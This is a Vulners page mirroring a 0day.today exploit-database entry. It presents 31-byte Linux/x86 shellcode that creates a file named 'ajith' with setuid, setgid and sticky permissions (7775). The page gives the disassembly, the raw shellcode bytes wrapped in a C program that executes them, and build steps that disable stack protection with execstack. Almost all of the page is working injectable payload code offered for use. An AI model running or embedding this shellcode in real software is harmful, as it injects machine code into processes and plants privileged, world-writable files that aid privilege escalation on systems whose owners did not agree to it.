Lucene search
K

linux/x86 - Create file with permission 7775 and exit - 31 bytes

🗓️ 07 Sep 2015 00:00:00Reported by AJITH KPType 
zdt
 zdt
🔗 0day.today👁 23 Views

Linux/x86 file creation with 7775 permission - 31 byte

Code
/*
---------------------------------------------------------------------------------------------------

Linux/x86 - Create file with permission 7775 and exit - 31 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

08048060 <.text>:
 8048060:	eb 12                	jmp    0x8048074
 8048062:	5b                   	pop    %ebx
 8048063:	31 c0                	xor    %eax,%eax
 8048065:	88 43 05             	mov    %al,0x5(%ebx)
 8048068:	b0 08                	mov    $0x8,%al
 804806a:	b1 ff                	mov    $0xff,%cl
 804806c:	b5 ff                	mov    $0xff,%ch
 804806e:	cd 80                	int    $0x80
 8048070:	b0 01                	mov    $0x1,%al
 8048072:	cd 80                	int    $0x80
 8048074:	e8 e9 ff ff ff       	call   0x8048062
 8048079:	61                   	popa   
 804807a:	6a 69                	push   $0x69
 804807c:	74 68                	je     0x80480e6
 804807e:	23                   	.byte 0x23
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o create_file create_file.c
$ execstack -s create_file
$ ./create_file

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x12\x5b\x31\xc0\x88\x43\x05\xb0\x08\xb1\xff\xb5\xff\xcd\x80\xb0\x01\xcd\x80\xe8\xe9\xff\xff\xff\x61\x6a\x69\x74\x68\x23";
// It will create file named 'ajith' with permission 7775
void main(int argc, char **argv)
{
	int (*func)();
	func = (int (*)()) sh;
	(int)(*func)();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Sep 2015 00:00Current
0.1Low risk
Vulners AI Score0.1
23